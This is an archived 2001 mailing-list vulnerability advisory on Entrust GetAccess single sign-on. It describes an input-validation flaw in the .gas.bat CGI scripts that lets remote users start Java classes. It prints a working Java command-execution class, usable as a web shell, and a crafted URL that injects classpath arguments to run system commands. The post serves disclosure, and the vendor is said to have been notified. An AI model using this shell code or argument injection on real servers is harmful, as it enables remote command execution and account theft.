hola friends, getAccess[tm] is used as a single-sign-on system often used for large internet-portals. --- snip (http://www.entrust.com) --- Entrust GetAccess[tm] offers the most comprehensive solution for consistently deploying and enforcing basic and enhanced security across online applications, from Web browsers, to enterprise applications and legacy database systems. --- snip --- problem description: due to missing input-validation it is possible to run(start) java-programs on the "getaccess"-machine. combined with public accessibly uploads or any other possibility to create class-files on the server this vulnerability c ould be used to run arbitrary system commands on the target machine( or change getAccess parameters and steal any user ac count you want BTW). it should also be possible(but not proven yet) to exploit default-,install- or demo classes within Java or getAccess whic h would make the file-upload(creation) part unneeded! (uninstall.class is very likely an effective DOS) Example: find exploitable getAccess-class(one which accepts params!) or upload a "command" programm: --- cut here (example cmd.java) --- import java.io.*; public class cmd { public static void main(String args[]) { s = null; try { Process p = Runtime.getRuntime().exec(args[0]+" "+args[1]); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); System.out.println("Content-type: text/html\n\n"); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } System.exit(0); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } } } --- cut here --- later then .. a http-request to : http://hostname/sek-bin/login.gas.bat/x%20-classpath%20/whereever%20cmd%20/bin/ls%20-alsi .. will run "/whereever/cmd.class" and execute "/bin/ls -alsi" Summary: object: *.gas.bat (all the getAccess cgi-shell-scripts) class: input validation remote: yes vendor: has been informed with a separate e-mail ( entrustat_private ) (and BTW. i would NEVER EVER recommand to use shell-scripts for authentication purposes!) nice day, rC rudicarellat_private securityat_private http://www.freefly.com/security/ _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp
This archive was generated by hypermail 2b30 : Fri Jul 27 2001 - 09:35:55 PDT